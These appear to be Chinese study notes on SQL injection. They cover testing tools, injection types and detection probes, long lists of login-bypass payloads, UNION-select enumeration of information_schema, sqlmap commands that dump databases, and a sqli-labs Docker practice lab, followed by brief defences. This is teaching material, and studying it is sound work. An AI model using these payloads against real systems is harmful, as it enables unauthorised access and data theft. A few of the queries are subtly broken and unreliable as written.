web 漏洞 - sql注入

web 漏洞 - sql注入

抓包工具

BurpSuite
java 1.8

BurpSuite是一款信息安全从业人员必备的集成型的渗透测试工具,它采用自动测试和半自动测试的方式,
包含了:
Proxy,Spider,Scanner,Intruder,Repeater,Sequencer,Decoder,Comparer

通过拦截HTTP/HTTPS的web数据包,充当浏览器和相关应用程序的中间人,进行拦截、修改、重放数据包进行测试,是web安全人
员的一把必备的瑞士军刀。官方提供免费版和专业版,以下是两个版本的功能对比。


Fiddler
Fiddler是一个http协议调试代理工具,它能够记录并检查所有你的电脑和互联网之间的http通讯,设置断点,查看所有的“进
出”Fiddler的数据(指cookie,html,js,css等文件)。
Fiddler 要比其他的网络调试器要更加简单,因为它不仅仅暴露http通讯还提供了一个用户友好的格式。


Linux KALI

基本安装,系统内集成了很多安全相关的工具,可以方便使用

SQL注入漏洞原理
什么是SQL
结构化查询语言,是一种特殊目的的编程语言,是一种数据库查询和程序设计语言,用于存取数据以及查询,更新和管理关系数
据库系统。

1. 看日志
2. 测试防火墙


通过参数传递
php+mysql 例子:
$id=$_GET['id'];
$sql="select * from users where id=$id limit 0,1";
$result=mysql_query($sql);

没有进行程序上的过滤,才会被注入

哪些地方会产生问题?
一起输入的地方,与数据交互的地方

ASP 注入
access注入基本流程:(你猜我猜你猜不猜)
1.判断有无注入
2.猜解表名
3.猜解字段
4.猜解管理员ID值
5.猜解用户名和密码长度
6.猜解用户名和密码

总结起来有以下四种判断方法:
粗略型:提交单引号'
逻辑型(数字型注入):and 1=1/and 1=2
逻辑型(字符型注入):' and '1'='1/' and '1'='2
逻辑型(搜索型注入):%' and 1=1 and '%'='%/%' and 1=2 and '%'='%

最常用的寻找SQL注入点的方法,是在网站中寻找如下形式的页面链接:http://www.xxx.com/xxx.asp?id=YY 其中“YY”可能
是数字,也有可能是字符串,分别被称为整数类型数据或者字符型数据。
通常可以使用以下两种方法进行检测,判断该页面链接是否存在SQL注入漏洞。

如何去发现sql注入?
通过web漏洞扫描器
再参数后面添加错误语句
大量的对参数Fuzz测试
自觉


注入分类

数字型注入
SELECT * FROM users WHERER id=$id LIMIT 0,1;

字符型注入
SELECT * FROM users WHERE username='admin' LIMIT 0,1;

注入提交方式
GET
POST
COOKIE
HTTP 头部注入


注入方式
基于报错注入
基于布尔的盲注
基于时间的盲注
联合查询
内联查询
堆叠的查询


mysql 手工注入

sqlmap 工具

万能密码 PHP
admin' or 1=1#
只有漏洞的才能使用

select * from user where username='admin' or 1=1#' and password='pass';
执行这条,不需要密码直接登录
or 1=1#' 1=1永真的,直接登。 单引号后的全部当注释忽略了

asp aspx万能密码
1:"or "a"="a
2:'.).or.('.a.'='.a
3:or 1=1--
4:'or 1=1--
5:a'or' 1=1--
6:"or 1=1--
7:'or.'a.'='a
8:"or"="a'='a
9:'or''='
10:'or'='or'

admin'or 1=1#


PHP万能密码
admin'/*
密码*/'


'or 1=1/*

"or "a"="a
"or 1=1--
"or"="
"or"="a'='a
"or1=1--
"or=or"
''or'='or'
') or ('a'='a
'.).or.('.a.'='.a
'or 1=1
'or 1=1--
'or 1=1/*
'or"="a'='a
'or' '1'='1'
'or''='
'or''=''or''='
'or'='1'
'or'='or'
'or.'a.'='a
'or1=1--
1'or'1'='1
a'or' 1=1--
a'or'1=1--
or 'a'='a'
or 1=1--
or1=1--

使用docker安装一个简单的web 用来渗透测试

docker pull c0ny1/sqli-labs
docker run -dt --name sqli-lab -p 8003:80 acgpiano/sqli-labs:latest

主要流程有   (你猜我猜你猜不猜)

1.猜解字段
2.查看当前数据库 %23 就是注释符 #
3.Union select 1,group_concat(schema_name),3 from information_schema.schemata%23 # 查询所有数据库

4. union select 1,group_concat(table_name),3 from information_from informationschema.tables
table_schema=0x7365637572697479%23
# 查询数据库中的表

5. UNION select 1,group_concat(column_name),3 from information_schema.columns where
table_name=0x7365637572697479%23
# 查询表名中的所有字段

可以使用的函数

1. version() # 查版本
2. user() # 用户
3. database() # 查数据库

4. security 转成16进制 0x7365637572697479

5. order by 3%23 # 判断字段数

6. union select 1,2,3 %23

SQLMAP 工具使用

更智能的去渗透分析
使用环境 Python


SQLMap 常用参数 -v 注入等级 一共有6个级别

1. 判断注入
python sqlmap.py -u http://URL -v 3

2. 数据库
python sqlmap.py -u http://URL --dbs -v 3
python sqlmap.py -u http://URL --current-user -v 3

3. 表名
python sqlmap.py -u http://URL --tables -D 数据库名 -v 3

4. 字段名
python sqlmap.py -u http://URL --column -T 表名 -D 数据库名 -v 3

5. 内容
python sqlmap.py -u http://URL --dump -C 字段名 -T 表名 -D 数据库名 -v3

6. 指定抓取的数据包来测试
python sqlmap.py -r xxx.txt -v 3

 我拿自己来测试,反正我没成功 哈哈哈哈或或或

总结
post 如何使用POST方式
6. 指定抓取的数据包来测试
python sqlmap.py -r xxx.txt -v 3

如何取防护SQL注入

1. CDN 隐藏真实IP地址
2. 通过安全函数进行过滤
3. 对数据库最小权限设置
4. 服务器针对性的WAF防火墙

猜你喜欢

转载自www.cnblogs.com/huidou/p/10825556.html
今日推荐